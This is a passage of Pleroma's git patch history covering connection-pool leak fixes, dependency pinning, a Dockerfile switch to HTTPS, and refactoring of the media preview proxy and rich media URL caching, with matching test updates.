false]}, {:jose, "~> 1.8", [hex: :jose, repo: "hexpm", optional: false]}], "hexpm", "f10bdd1afe527ede694749fb77a2f22f146a51b054c7fa541c9fd920fba7c875"}, "websocket_client": {:git, "https://github.com/jeremyong/websocket_client.git", "9a6f65d05ebf2725d62fb19262b21f1805a59fbf", []}, -- cgit v1.2.3 From 473458b0fbecb05121b235f525aefcef34f0409e Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov <alex.strizhakov@gmail.com> Date: Fri, 4 Sep 2020 14:45:30 +0300 Subject: fix for ReverseProxy --- lib/pleroma/reverse_proxy/client/hackney.ex | 1 + 1 file changed, 1 insertion(+) diff --git a/lib/pleroma/reverse_proxy/client/hackney.ex b/lib/pleroma/reverse_proxy/client/hackney.ex index e84118a90..ad988fac3 100644 --- a/lib/pleroma/reverse_proxy/client/hackney.ex +++ b/lib/pleroma/reverse_proxy/client/hackney.ex @@ -7,6 +7,7 @@ defmodule Pleroma.ReverseProxy.Client.Hackney do @impl true def request(method, url, headers, body, opts \\ []) do + opts = Keyword.put(opts, :ssl_options, versions: [:"tlsv1.2", :"tlsv1.1", :tlsv1]) :hackney.request(method, url, headers, body, opts) end -- cgit v1.2.3 From 173b04df48abf1b40aa0aa4ba5de50c370687f56 Mon Sep 17 00:00:00 2001 From: Farhan Khan <farhan@farhan.codes> Date: Fri, 4 Sep 2020 18:03:58 +0000 Subject: Added cmake --- docs/installation/freebsd_en.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docs/installation/freebsd_en.md b/docs/installation/freebsd_en.md index 130d68766..ca2575d9b 100644 --- a/docs/installation/freebsd_en.md +++ b/docs/installation/freebsd_en.md @@ -7,7 +7,7 @@ This document was written for FreeBSD 12.1, but should be work on future release This assumes the target system has `pkg(8)`. ``` -# pkg install elixir postgresql12-server postgresql12-client postgresql12-contrib git-lite sudo nginx gmake acme.sh +# pkg install elixir postgresql12-server postgresql12-client postgresql12-contrib git-lite sudo nginx gmake acme.sh cmake ``` Copy the rc.d scripts to the right directory: -- cgit v1.2.3 From 10da13c71343623a5e52beebdc6abc1f400bc40d Mon Sep 17 00:00:00 2001 From: rinpatch <rinpatch@sdf.org> Date: Fri, 4 Sep 2020 22:10:40 +0300 Subject: ConnectionPool middleware: Fix connection leak on ReverseProxy redirects Requires a patched Tesla due to upstream not saving opts between redirects, patch submitted at https://github.com/teamon/tesla/pull/414 --- lib/pleroma/tesla/middleware/connection_pool.ex | 27 +++++++++++++++++-------- mix.exs | 4 +++- mix.lock | 2 +- 3 files changed, 23 insertions(+), 10 deletions(-) diff --git a/lib/pleroma/tesla/middleware/connection_pool.ex b/lib/pleroma/tesla/middleware/connection_pool.ex index a435ab4cc..5909e98d6 100644 --- a/lib/pleroma/tesla/middleware/connection_pool.ex +++ b/lib/pleroma/tesla/middleware/connection_pool.ex @@ -15,21 +15,32 @@ defmodule Pleroma.Tesla.Middleware.ConnectionPool do def call(%Tesla.Env{url: url, opts: opts} = env, next, _) do uri = URI.parse(url) + # Avoid leaking connections when the middleware is called twice + # with body_as: :chunks. We assume only the middleware can set + # opts[:adapter][:conn] + if opts[:adapter][:conn] do + ConnectionPool.release_conn(opts[:adapter][:conn]) + end + case ConnectionPool.get_conn(uri, opts[:adapter]) do {:ok, conn_pid} -> adapter_opts = Keyword.merge(opts[:adapter], conn: conn_pid, close_conn: false) opts = Keyword.put(opts, :adapter, adapter_opts) env = %{env | opts: opts} - res = Tesla.run(env, next) - unless opts[:adapter][:body_as] == :chunks do - ConnectionPool.release_conn(conn_pid) + case Tesla.run(env, next) do + {:ok, env} -> + unless opts[:adapter][:body_as] == :chunks do + ConnectionPool.release_conn(conn_pid) + {:ok, pop_in(env[:opts][:adapter][:conn])} + else + {:ok, env} + end + + err -> + ConnectionPool.release_conn(conn_pid) + err end - - res - - err -> - err end end end diff --git a/mix.exs b/mix.exs index 4de0c78db..c324960c5 100644 --- a/mix.exs +++ b/mix.exs @@ -134,7 +134,9 @@ defp deps do {:cachex, "~> 3.2"}, {:poison, "~> 3.0", override: true}, {:tesla, - github: "teamon/tesla", ref: "af3707078b10793f6a534938e56b963aff82fe3c", override: true}, + git: "https://git.pleroma.social/pleroma/elixir-libraries/tesla.git", + ref: "3a2789d8535f7b520ebbadc4494227e5ba0e5365", + override: true}, {:castore, "~> 0.1"}, {:cowlib, "~> 2.9", override: true}, {:gun, diff --git a/mix.lock b/mix.lock index 874ea9215..deb07eb68 100644 --- a/mix.lock +++ b/mix.lock @@ -110,7 +110,7 @@ "swoosh": {:hex, :swoosh, "1.0.0", "c547cfc83f30e12d5d1fdcb623d7de2c2e29a5becfc68bf8f42ba4d23d2c2756", [:mix], [{:cowboy, "~> 1.0.1 or ~> 1.1 or ~> 2.4", [hex: :cowboy, repo: "hexpm", optional: true]}, {:gen_smtp, "~> 0.13", [hex: :gen_smtp, repo: "hexpm", optional: true]}, {:hackney, "~> 1.9", [hex: :hackney, repo: "hexpm", optional: true]}, {:jason, "~> 1.0", [hex: :jason, repo: "hexpm", optional: false]}, {:mail, "~> 0.2", [hex: :mail, repo: "hexpm", optional: true]}, {:mime, "~> 1.1", [hex: :mime, repo: "hexpm", optional: false]}, {:plug_cowboy, ">= 1.0.0", [hex: :plug_cowboy, repo: "hexpm", optional: true]}], "hexpm", "b3b08e463f876cb6167f7168e9ad99a069a724e124bcee61847e0e1ed13f4a0d"}, "syslog": {:hex, :syslog, "1.1.0", "6419a232bea84f07b56dc575225007ffe34d9fdc91abe6f1b2f254fd71d8efc2", [:rebar3], [], "hexpm", "4c6a41373c7e20587be33ef841d3de6f3beba08519809329ecc4d27b15b659e1"}, "telemetry": {:hex, :telemetry, "0.4.2", "2808c992455e08d6177322f14d3bdb6b625fbcfd233a73505870d8738a2f4599", [:rebar3], [], "hexpm", "2d1419bd9dda6a206d7b5852179511722e2b18812310d304620c7bd92a13fcef"}, - "tesla": {:git, "https://github.com/teamon/tesla.git", "af3707078b10793f6a534938e56b963aff82fe3c", [ref: "af3707078b10793f6a534938e56b963aff82fe3c"]}, + "tesla": {:git, "https://git.pleroma.social/pleroma/elixir-libraries/tesla.git", "3a2789d8535f7b520ebbadc4494227e5ba0e5365", [ref: "3a2789d8535f7b520ebbadc4494227e5ba0e5365"]}, "timex": {:hex, :timex, "3.6.2", "845cdeb6119e2fef10751c0b247b6c59d86d78554c83f78db612e3290f819bc2", [:mix], [{:combine, "~> 0.10", [hex: :combine, repo: "hexpm", optional: false]}, {:gettext, "~> 0.10", [hex: :gettext, repo: "hexpm", optional: false]}, {:tzdata, "~> 0.1.8 or ~> 0.5 or ~> 1.0.0", [hex: :tzdata, repo: "hexpm", optional: false]}], "hexpm", "26030b46199d02a590be61c2394b37ea25a3664c02fafbeca0b24c972025d47a"}, "trailing_format_plug": {:hex, :trailing_format_plug, "0.0.7", "64b877f912cf7273bed03379936df39894149e35137ac9509117e59866e10e45", [:mix], [{:plug, "> 0.12.0", [hex: :plug, repo: "hexpm", optional: false]}], "hexpm", "bd4fde4c15f3e993a999e019d64347489b91b7a9096af68b2bdadd192afa693f"}, "tzdata": {:hex, :tzdata, "1.0.3", "73470ad29dde46e350c60a66e6b360d3b99d2d18b74c4c349dbebbc27a09a3eb", [:mix], [{:hackney, "~> 1.0", [hex: :hackney, repo: "hexpm", optional: false]}], "hexpm", "a6e1ee7003c4d04ecbd21dd3ec690d4c6662db5d3bbdd7262d53cdf5e7c746c1"}, -- cgit v1.2.3 From 9fd0e5e0dd5e4c2b1748ef604e780bb31e4ada89 Mon Sep 17 00:00:00 2001 From: James Alseth <james@jalseth.me> Date: Fri, 4 Sep 2020 19:19:56 -0700 Subject: Use TLS when adding Alpine community repository in Dockerfile --- Dockerfile | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Dockerfile b/Dockerfile index aa50e27ec..c210cf79c 100644 --- a/Dockerfile +++ b/Dockerfile @@ -31,7 +31,7 @@ LABEL maintainer="ops@pleroma.social" \ ARG HOME=/opt/pleroma ARG DATA=/var/lib/pleroma -RUN echo "http://nl.alpinelinux.org/alpine/latest-stable/community" >> /etc/apk/repositories &&\ +RUN echo "https://nl.alpinelinux.org/alpine/latest-stable/community" >> /etc/apk/repositories &&\ apk update &&\ apk add exiftool imagemagick ncurses postgresql-client &&\ adduser --system --shell /bin/false --home ${HOME} pleroma &&\ -- cgit v1.2.3 From 0d91f65284f99bded89c0400e976e0ffa5bc202f Mon Sep 17 00:00:00 2001 From: "Haelwenn (lanodan) Monnier" <contact@hacktivis.me> Date: Fri, 4 Sep 2020 07:52:22 +0200 Subject: Prevent AccountView and instance.get_or_update_favicon fails --- lib/pleroma/instances/instance.ex | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/lib/pleroma/instances/instance.ex b/lib/pleroma/instances/instance.ex index 711c42158..ef5d17de4 100644 --- a/lib/pleroma/instances/instance.ex +++ b/lib/pleroma/instances/instance.ex @@ -145,6 +145,8 @@ def get_or_update_favicon(%URI{host: host} = instance_uri) do favicon end + rescue + _ -> nil end defp scrape_favicon(%URI{} = instance_uri) do @@ -159,7 +161,8 @@ defp scrape_favicon(%URI{} = instance_uri) do |> Floki.attribute("link[rel=icon]", "href") |> List.first(), favicon <- URI.merge(instance_uri, favicon_rel) |> to_string(), - true <- is_binary(favicon) do + true <- is_binary(favicon), + true <- String.length(favicon) <= 255 do favicon else _ -> nil -- cgit v1.2.3 From de7e2ae0b5c296d0896f5d3738cba0fcddfe54f1 Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov <alex.strizhakov@gmail.com> Date: Sat, 5 Sep 2020 11:15:27 +0300 Subject: use override flag for hackney dependency --- mix.exs | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/mix.exs b/mix.exs index f734e4f61..fc1a83d91 100644 --- a/mix.exs +++ b/mix.exs @@ -195,10 +195,9 @@ defp deps do {:ex_machina, "~> 2.4", only: :test}, {:credo, "~> 1.4", only: [:dev, :test], runtime: false}, {:mock, "~> 0.3.5", only: :test}, - # temporary downgrade for excoveralls, hackney and httpoison - until hackney max_connections bug will be fixed + # temporary downgrade for excoveralls, hackney until hackney max_connections bug will be fixed {:excoveralls, "0.12.3", only: :test}, - {:hackney, "1.15.2"}, - {:httpoison, "1.6.2"}, + {:hackney, "1.15.2", override: true}, {:mox, "~> 0.5", only: :test}, {:websocket_client, git: "https://github.com/jeremyong/websocket_client.git", only: :test} ] ++ oauth_deps() -- cgit v1.2.3 From c3b02341bf4ab610e9425d6811dca057e9f811a4 Mon Sep 17 00:00:00 2001 From: Ivan Tashkinov <ivantashkinov@gmail.com> Date: Sat, 5 Sep 2020 16:16:35 +0300 Subject: [#2497] Made media preview proxy fall back to media proxy instead of to source url. Adjusted tests. Refactoring. --- lib/pleroma/helpers/media_helper.ex | 6 ++- lib/pleroma/web/media_proxy/media_proxy.ex | 4 +- .../web/media_proxy/media_proxy_controller.ex | 50 ++++++++++++---------- test/web/mastodon_api/views/account_view_test.exs | 37 +++++++++------- 4 files changed, 53 insertions(+), 44 deletions(-) diff --git a/lib/pleroma/helpers/media_helper.ex b/lib/pleroma/helpers/media_helper.ex index cfb091f82..bb93d4915 100644 --- a/lib/pleroma/helpers/media_helper.ex +++ b/lib/pleroma/helpers/media_helper.ex @@ -7,12 +7,14 @@ defmodule Pleroma.Helpers.MediaHelper do Handles common media-related operations. """ + alias Pleroma.HTTP + @tmp_base "/tmp/pleroma-media_preview-pipe" def image_resize(url, options) do with executable when is_binary(executable) <- System.find_executable("convert"), {:ok, args} <- prepare_image_resize_args(options), - {:ok, env} <- Pleroma.HTTP.get(url, [], [adapter: [pool: :preview]]), + {:ok, env} <- HTTP.get(url, [], adapter: [pool: :preview]), {:ok, fifo_path} <- mkfifo() do args = List.flatten([fifo_path, args]) run_fifo(fifo_path, env, executable, args) @@ -60,7 +62,7 @@ defp prepare_image_resize_args(_), do: {:error, :missing_options} def video_framegrab(url) do with executable when is_binary(executable) <- System.find_executable("ffmpeg"), - {:ok, env} <- Pleroma.HTTP.get(url, [], [adapter: [pool: :preview]]), + {:ok, env} <- HTTP.get(url, [], adapter: [pool: :preview]), {:ok, fifo_path} <- mkfifo(), args = [ "-y", diff --git a/lib/pleroma/web/media_proxy/media_proxy.ex b/lib/pleroma/web/media_proxy/media_proxy.ex index 4cbe1cf89..80017cde1 100644 --- a/lib/pleroma/web/media_proxy/media_proxy.ex +++ b/lib/pleroma/web/media_proxy/media_proxy.ex @@ -57,13 +57,11 @@ def url_proxiable?(url) do end end - # Note: routing all URLs to preview handler (even local and whitelisted). - # Preview handler will call url/1 on decoded URLs, and applicable ones will detour media proxy. def preview_url(url, preview_params \\ []) do if preview_enabled?() do encode_preview_url(url, preview_params) else - url + url(url) end end diff --git a/lib/pleroma/web/media_proxy/media_proxy_controller.ex b/lib/pleroma/web/media_proxy/media_proxy_controller.ex index 33daa1e05..469fbae59 100644 --- a/lib/pleroma/web/media_proxy/media_proxy_controller.ex +++ b/lib/pleroma/web/media_proxy/media_proxy_controller.ex @@ -48,10 +48,12 @@ def preview(conn, %{"sig" => sig64, "url" => url64}) do end defp handle_preview(conn, url) do + media_proxy_url = MediaProxy.url(url) + with {:ok, %{status: status} = head_response} when status in 200..299 <- - Pleroma.HTTP.request("head", MediaProxy.url(url), [], [], [adapter: [pool: :preview]]) do + Pleroma.HTTP.request("head", media_proxy_url, [], [], adapter: [pool: :preview]) do content_type = Tesla.get_header(head_response, "content-type") - handle_preview(content_type, conn, url) + handle_preview(content_type, conn, media_proxy_url) else {_, %{status: status}} -> send_resp(conn, :failed_dependency, "Can't fetch HTTP headers (HTTP #{status}).") @@ -67,40 +69,38 @@ defp handle_preview(conn, url) do defp handle_preview( "image/" <> _ = _content_type, %{params: %{"output_format" => "jpeg"}} = conn, - url + media_proxy_url ) do - handle_jpeg_preview(conn, url) + handle_jpeg_preview(conn, media_proxy_url) end - defp handle_preview("image/gif" = _content_type, conn, url) do - mediaproxy_url = url |> MediaProxy.url() - - redirect(conn, external: mediaproxy_url) + defp handle_preview("image/gif" = _content_type, conn, media_proxy_url) do + redirect(conn, external: media_proxy_url) end - defp handle_preview("image/png" <> _ = _content_type, conn, url) do - handle_png_preview(conn, url) + defp handle_preview("image/png" <> _ = _content_type, conn, media_proxy_url) do + handle_png_preview(conn, media_proxy_url) end - defp handle_preview("image/" <> _ = _content_type, conn, url) do - handle_jpeg_preview(conn, url) + defp handle_preview("image/" <> _ = _content_type, conn, media_proxy_url) do + handle_jpeg_preview(conn, media_proxy_url) end - defp handle_preview("video/" <> _ = _content_type, conn, url) do - handle_video_preview(conn, url) + defp handle_preview("video/" <> _ = _content_type, conn, media_proxy_url) do + handle_video_preview(conn, media_proxy_url) end - defp handle_preview(content_type, conn, _url) do + defp handle_preview(content_type, conn, _media_proxy_url) do send_resp(conn, :unprocessable_entity, "Unsupported content type: #{content_type}.") end - defp handle_png_preview(%{params: params} = conn, url) do + defp handle_png_preview(%{params: params} = conn, media_proxy_url) do quality = Config.get!([:media_preview_proxy, :image_quality]) with {thumbnail_max_width, thumbnail_max_height} <- thumbnail_max_dimensions(params), {:ok, thumbnail_binary} <- MediaHelper.image_resize( - url, + media_proxy_url, %{ max_width: thumbnail_max_width, max_height: thumbnail_max_height, @@ -109,7 +109,7 @@ defp handle_png_preview(%{params: params} = conn, url) do } ) do conn - |> put_preview_response_headers("image/png", "preview.png") + |> put_preview_response_headers(["image/png", "preview.png"]) |> send_resp(200, thumbnail_binary) else _ -> @@ -117,13 +117,13 @@ defp handle_png_preview(%{params: params} = conn, url) do end end - defp handle_jpeg_preview(%{params: params} = conn, url) do + defp handle_jpeg_preview(%{params: params} = conn, media_proxy_url) do quality = Config.get!([:media_preview_proxy, :image_quality]) with {thumbnail_max_width, thumbnail_max_height} <- thumbnail_max_dimensions(params), {:ok, thumbnail_binary} <- MediaHelper.image_resize( - url, + media_proxy_url, %{max_width: thumbnail_max_width, max_height: thumbnail_max_height, quality: quality} ) do conn @@ -135,9 +135,9 @@ defp handle_jpeg_preview(%{params: params} = conn, url) do end end - defp handle_video_preview(conn, url) do + defp handle_video_preview(conn, media_proxy_url) do with {:ok, thumbnail_binary} <- - MediaHelper.video_framegrab(url) do + MediaHelper.video_framegrab(media_proxy_url) do conn |> put_preview_response_headers() |> send_resp(200, thumbnail_binary) @@ -147,10 +147,14 @@ defp handle_video_preview(conn, url) do end end - defp put_preview_response_headers(conn, content_type \\ "image/jpeg", filename \\ "preview.jpg") do + defp put_preview_response_headers( + conn, + [content_type, filename] = _content_info \\ ["image/jpeg", "preview.jpg"] + ) do conn |> put_resp_header("content-type", content_type) |> put_resp_header("content-disposition", "inline; filename=\"#{filename}\"") + # TODO: enable caching |> put_resp_header("cache-control", "max-age=0, private, must-revalidate") end diff --git a/test/web/mastodon_api/views/account_view_test.exs b/test/web/mastodon_api/views/account_view_test.exs index 8f37efa3c..2f56d9c8f 100644 --- a/test/web/mastodon_api/views/account_view_test.exs +++ b/test/web/mastodon_api/views/account_view_test.exs @@ -541,8 +541,9 @@ test "shows non-zero when historical unapproved requests are present" do end end - test "uses mediaproxy urls when it's enabled" do + test "uses mediaproxy urls when it's enabled (regardless of media preview proxy state)" do clear_config([:media_proxy, :enabled], true) + clear_config([:media_preview_proxy, :enabled]) user = insert(:user, @@ -551,20 +552,24 @@ test "uses mediaproxy urls when it's enabled" do emoji: %{"joker_smile" => "https://evil.website/society.png"} ) - AccountView.render("show.json", %{user: user, skip_visibility_check: true}) - |> Enum.all?(fn - {key, url} when key in [:avatar, :avatar_static, :header, :header_static] -> - String.starts_with?(url, Pleroma.Web.base_url()) - - {:emojis, emojis} -> - Enum.all?(emojis, fn %{url: url, static_url: static_url} -> - String.starts_with?(url, Pleroma.Web.base_url()) && - String.starts_with?(static_url, Pleroma.Web.base_url()) - end) - - _ -> - true - end) - |> assert() + with media_preview_enabled <- [false, true] do + Config.put([:media_preview_proxy, :enabled], media_preview_enabled) + + AccountView.render("show.json", %{user: user, skip_visibility_check: true}) + |> Enum.all?(fn + {key, url} when key in [:avatar, :avatar_static, :header, :header_static] -> + String.starts_with?(url, Pleroma.Web.base_url()) + + {:emojis, emojis} -> + Enum.all?(emojis, fn %{url: url, static_url: static_url} -> + String.starts_with?(url, Pleroma.Web.base_url()) && + String.starts_with?(static_url, Pleroma.Web.base_url()) + end) + + _ -> + true + end) + |> assert() + end end end -- cgit v1.2.3 From f170d471307ba0082b98351190b3d6b808bdfe1a Mon Sep 17 00:00:00 2001 From: Ivan Tashkinov <ivantashkinov@gmail.com> Date: Sat, 5 Sep 2020 20:19:09 +0300 Subject: [#2497] Adjusted media proxy preview invalidation. Allowed client-side caching for media preview. Adjusted prewarmer to fetch only proxiable URIs. Removed :preview pool in favor of existing :media one. Misc. refactoring. --- config/config.exs | 5 ---- lib/pleroma/helpers/media_helper.ex | 4 ++-- lib/pleroma/reverse_proxy/reverse_proxy.ex | 1 + .../activity_pub/mrf/media_proxy_warming_policy.ex | 27 +++++++++++++--------- lib/pleroma/web/media_proxy/invalidation.ex | 4 +++- lib/pleroma/web/media_proxy/media_proxy.ex | 20 ++++++++-------- .../web/media_proxy/media_proxy_controller.ex | 5 ++-- 7 files changed, 34 insertions(+), 32 deletions(-) diff --git a/config/config.exs b/config/config.exs index b92d3ccbb..e5b7e18df 100644 --- a/config/config.exs +++ b/config/config.exs @@ -754,11 +754,6 @@ timeout: 10_000 ], media: [ - size: 50, - max_waiting: 10, - timeout: 10_000 - ], - preview: [ size: 50, max_waiting: 20, timeout: 15_000 diff --git a/lib/pleroma/helpers/media_helper.ex b/lib/pleroma/helpers/media_helper.ex index bb93d4915..a1205e10d 100644 --- a/lib/pleroma/helpers/media_helper.ex +++ b/lib/pleroma/helpers/media_helper.ex @@ -14,7 +14,7 @@ defmodule Pleroma.Helpers.MediaHelper do def image_resize(url, options) do with executable when is_binary(executable) <- System.find_executable("convert"), {:ok, args} <- prepare_image_resize_args(options), - {:ok, env} <- HTTP.get(url, [], adapter: [pool: :preview]), + {:ok, env} <- HTTP.get(url, [], adapter: [pool: :media]), {:ok, fifo_path} <- mkfifo() do args = List.flatten([fifo_path, args]) run_fifo(fifo_path, env, executable, args) @@ -62,7 +62,7 @@ defp prepare_image_resize_args(_), do: {:error, :missing_options} def video_framegrab(url) do with executable when is_binary(executable) <- System.find_executable("ffmpeg"), - {:ok, env} <- HTTP.get(url, [], adapter: [pool: :preview]), + {:ok, env} <- HTTP.get(url, [], adapter: [pool: :media]), {:ok, fifo_path} <- mkfifo(), args = [ "-y", diff --git a/lib/pleroma/reverse_proxy/reverse_proxy.ex b/lib/pleroma/reverse_proxy/reverse_proxy.ex index 35637e934..8ae1157df 100644 --- a/lib/pleroma/reverse_proxy/reverse_proxy.ex +++ b/lib/pleroma/reverse_proxy/reverse_proxy.ex @@ -18,6 +18,7 @@ defmodule Pleroma.ReverseProxy do @methods ~w(GET HEAD) def max_read_duration_default, do: @max_read_duration + def default_cache_control_header, do: @default_cache_control_header @moduledoc """ A reverse proxy. diff --git a/lib/pleroma/web/activity_pub/mrf/media_proxy_warming_policy.ex b/lib/pleroma/web/activity_pub/mrf/media_proxy_warming_policy.ex index 5d8bb72aa..1050b74ba 100644 --- a/lib/pleroma/web/activity_pub/mrf/media_proxy_warming_policy.ex +++ b/lib/pleroma/web/activity_pub/mrf/media_proxy_warming_policy.ex @@ -12,23 +12,28 @@ defmodule Pleroma.Web.ActivityPub.MRF.MediaProxyWarmingPolicy do require Logger - @options [ + @adapter_options [ pool: :media ] def perform(:prefetch, url) do - Logger.debug("Prefetching #{inspect(url)}") + # Fetching only proxiable resources + if MediaProxy.enabled?() and MediaProxy.url_proxiable?(url) do + # If preview proxy is enabled, it'll also hit media proxy (so we're caching both requests) + prefetch_url = MediaProxy.preview_url(url) - opts = - if Application.get_env(:tesla, :adapter) == Tesla.Adapter.Hackney do - Keyword.put(@options, :recv_timeout, 10_000) - else - @options - end + Logger.debug("Prefetching #{inspect(url)} as #{inspect(prefetch_url)}") - url - |> MediaProxy.preview_url() - |> HTTP.get([], adapter: opts) + HTTP.get(prefetch_url, [], adapter: adapter_options()) + end + end + + defp adapter_options do + if Application.get_env(:tesla, :adapter) == Tesla.Adapter.Hackney do + Keyword.put(@adapter_options, :recv_timeout, 10_000) + else + @adapter_options + end end def perform(:preload, %{"object" => %{"attachment" => attachments}} = _message) do diff --git a/lib/pleroma/web/media_proxy/invalidation.ex b/lib/pleroma/web/media_proxy/invalidation.ex index 5808861e6..4f4340478 100644 --- a/lib/pleroma/web/media_proxy/invalidation.ex +++ b/lib/pleroma/web/media_proxy/invalidation.ex @@ -33,6 +33,8 @@ defp do_purge(urls) do def prepare_urls(urls) do urls |> List.wrap() - |> Enum.map(&MediaProxy.url/1) + |> Enum.map(fn url -> [MediaProxy.url(url), MediaProxy.preview_url(url)] end) + |> List.flatten() + |> Enum.uniq() end end diff --git a/lib/pleroma/web/media_proxy/media_proxy.ex b/lib/pleroma/web/media_proxy/media_proxy.ex index 80017cde1..ba553998b 100644 --- a/lib/pleroma/web/media_proxy/media_proxy.ex +++ b/lib/pleroma/web/media_proxy/media_proxy.ex @@ -41,20 +41,16 @@ def url(url) when is_nil(url) or url == "", do: nil def url("/" <> _ = url), do: url def url(url) do - if not enabled?() or not url_proxiable?(url) do - url - else + if enabled?() and url_proxiable?(url) do encode_url(url) + else + url end end @spec url_proxiable?(String.t()) :: boolean() def url_proxiable?(url) do - if local?(url) or whitelisted?(url) do - false - else - true - end + not local?(url) and not whitelisted?(url) end def preview_url(url, preview_params \\ []) do @@ -69,7 +65,7 @@ def enabled?, do: Config.get([:media_proxy, :enabled], false) # Note: media proxy must be enabled for media preview proxy in order to load all # non-local non-whitelisted URLs through it and be sure that body size constraint is preserved. - def preview_enabled?, do: enabled?() and Config.get([:media_preview_proxy, :enabled], false) + def preview_enabled?, do: enabled?() and !!Config.get([:media_preview_proxy, :enabled]) def local?(url), do: String.starts_with?(url, Pleroma.Web.base_url()) @@ -138,9 +134,13 @@ def filename(url_or_path) do if path = URI.parse(url_or_path).path, do: Path.basename(path) end + def base_url do + Config.get([:media_proxy, :base_url], Web.base_url()) + end + defp proxy_url(path, sig_base64, url_base64, filename) do [ - Config.get([:media_proxy, :base_url], Web.base_url()), + base_url(), path, sig_base64, url_base64, diff --git a/lib/pleroma/web/media_proxy/media_proxy_controller.ex b/lib/pleroma/web/media_proxy/media_proxy_controller.ex index 469fbae59..89f4a23bd 100644 --- a/lib/pleroma/web/media_proxy/media_proxy_controller.ex +++ b/lib/pleroma/web/media_proxy/media_proxy_controller.ex @@ -51,7 +51,7 @@ defp handle_preview(conn, url) do media_proxy_url = MediaProxy.url(url) with {:ok, %{status: status} = head_response} when status in 200..299 <- - Pleroma.HTTP.request("head", media_proxy_url, [], [], adapter: [pool: :preview]) do + Pleroma.HTTP.request("head", media_proxy_url, [], [], adapter: [pool: :media]) do content_type = Tesla.get_header(head_response, "content-type") handle_preview(content_type, conn, media_proxy_url) else @@ -154,8 +154,7 @@ defp put_preview_response_headers( conn |> put_resp_header("content-type", content_type) |> put_resp_header("content-disposition", "inline; filename=\"#{filename}\"") - # TODO: enable caching - |> put_resp_header("cache-control", "max-age=0, private, must-revalidate") + |> put_resp_header("cache-control", ReverseProxy.default_cache_control_header()) end defp thumbnail_max_dimensions(params) do -- cgit v1.2.3 From 88a6ee4a5989036de5c1e82c6111291887597d98 Mon Sep 17 00:00:00 2001 From: Ivan Tashkinov <ivantashkinov@gmail.com> Date: Sat, 5 Sep 2020 20:23:18 +0300 Subject: [#2497] Func defs grouping fix. --- .../web/activity_pub/mrf/media_proxy_warming_policy.ex | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/lib/pleroma/web/activity_pub/mrf/media_proxy_warming_policy.ex b/lib/pleroma/web/activity_pub/mrf/media_proxy_warming_policy.ex index 1050b74ba..6c63fe15c 100644 --- a/lib/pleroma/web/activity_pub/mrf/media_proxy_warming_policy.ex +++ b/lib/pleroma/web/activity_pub/mrf/media_proxy_warming_policy.ex @@ -16,6 +16,14 @@ defmodule Pleroma.Web.ActivityPub.MRF.MediaProxyWarmingPolicy do pool: :media ] + defp adapter_options do + if Application.get_env(:tesla, :adapter) == Tesla.Adapter.Hackney do + Keyword.put(@adapter_options, :recv_timeout, 10_000) + else + @adapter_options + end + end + def perform(:prefetch, url) do # Fetching only proxiable resources if MediaProxy.enabled?() and MediaProxy.url_proxiable?(url) do @@ -28,14 +36,6 @@ def perform(:prefetch, url) do end end - defp adapter_options do - if Application.get_env(:tesla, :adapter) == Tesla.Adapter.Hackney do - Keyword.put(@adapter_options, :recv_timeout, 10_000) - else - @adapter_options - end - end - def perform(:preload, %{"object" => %{"attachment" => attachments}} = _message) do Enum.each(attachments, fn %{"url" => url} when is_list(url) -> -- cgit v1.2.3 From e198ba492e5cb1b6ff81775db08298bfcdf1454a Mon Sep 17 00:00:00 2001 From: rinpatch <rinpatch@sdf.org> Date: Sat, 5 Sep 2020 12:37:27 +0300 Subject: Rich Media: Do not cache URLs for preview statuses Closes #1987 --- CHANGELOG.md | 1 + lib/pleroma/html.ex | 34 +++++++++++-------- lib/pleroma/web/rich_media/helpers.ex | 2 +- test/html_test.exs | 14 ++++---- .../controllers/status_controller_test.exs | 38 +++++++++++++++++++++- 5 files changed, 66 insertions(+), 23 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index cdd5b94a8..4662045ca 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -12,6 +12,7 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/). - Mastodon API: Search parameter `following` now correctly returns the followings rather than the followers - Mastodon API: Timelines hanging for (`number of posts with links * rich media timeout`) in the worst case. Reduced to just rich media timeout. +- Mastodon API: Cards being wrong for preview statuses due to cache key collision - Password resets no longer processed for deactivated accounts ## [2.1.0] - 2020-08-28 diff --git a/lib/pleroma/html.ex b/lib/pleroma/html.ex index 20b02f091..43e9145be 100644 --- a/lib/pleroma/html.ex +++ b/lib/pleroma/html.ex @@ -100,21 +100,27 @@ defp generate_scrubber_signature(scrubbers) do end) end - def extract_first_external_url(_, nil), do: {:error, "No content"} + def extract_first_external_url_from_object(%{data: %{"content" => content}} = object) + when is_binary(content) do + unless object.data["fake"] do + key = "URL|#{object.id}" + + Cachex.fetch!(:scrubber_cache, key, fn _key -> + {:commit, {:ok, extract_first_external_url(content)}} + end) + else + {:ok, extract_first_external_url(content)} + end + end - def extract_first_external_url(object, content) do - key = "URL|#{object.id}" + def extract_first_external_url_from_object(_), do: {:error, :no_content} - Cachex.fetch!(:scrubber_cache, key, fn _key -> - result = - content - |> Floki.parse_fragment!() - |> Floki.find("a:not(.mention,.hashtag,.attachment,[rel~=\"tag\"])") - |> Enum.take(1) - |> Floki.attribute("href") - |> Enum.at(0) - - {:commit, {:ok, result}} - end) + def extract_first_external_url(content) do + content + |> Floki.parse_fragment!() + |> Floki.find("a:not(.mention,.hashtag,.attachment,[rel~=\"tag\"])") + |> Enum.take(1) + |> Floki.attribute("href") + |> Enum.at(0) end end diff --git a/lib/pleroma/web/rich_media/helpers.ex b/lib/pleroma/web/rich_media/helpers.ex index 2fb482b51..752ca9f81 100644 --- a/lib/pleroma/web/rich_media/helpers.ex +++ b/lib/pleroma/web/rich_media/helpers.ex @@ -58,7 +58,7 @@ def fetch_data_for_object(object) do with true <- Config.get([:rich_media, :enabled]), false <- object.data["sensitive"] || false, {:ok, page_url} <- - HTML.extract_first_external_url(object, object.data["content"]), + HTML.extract_first_external_url_from_object(object), :ok <- validate_page_url(page_url), {:ok, rich_media} <- 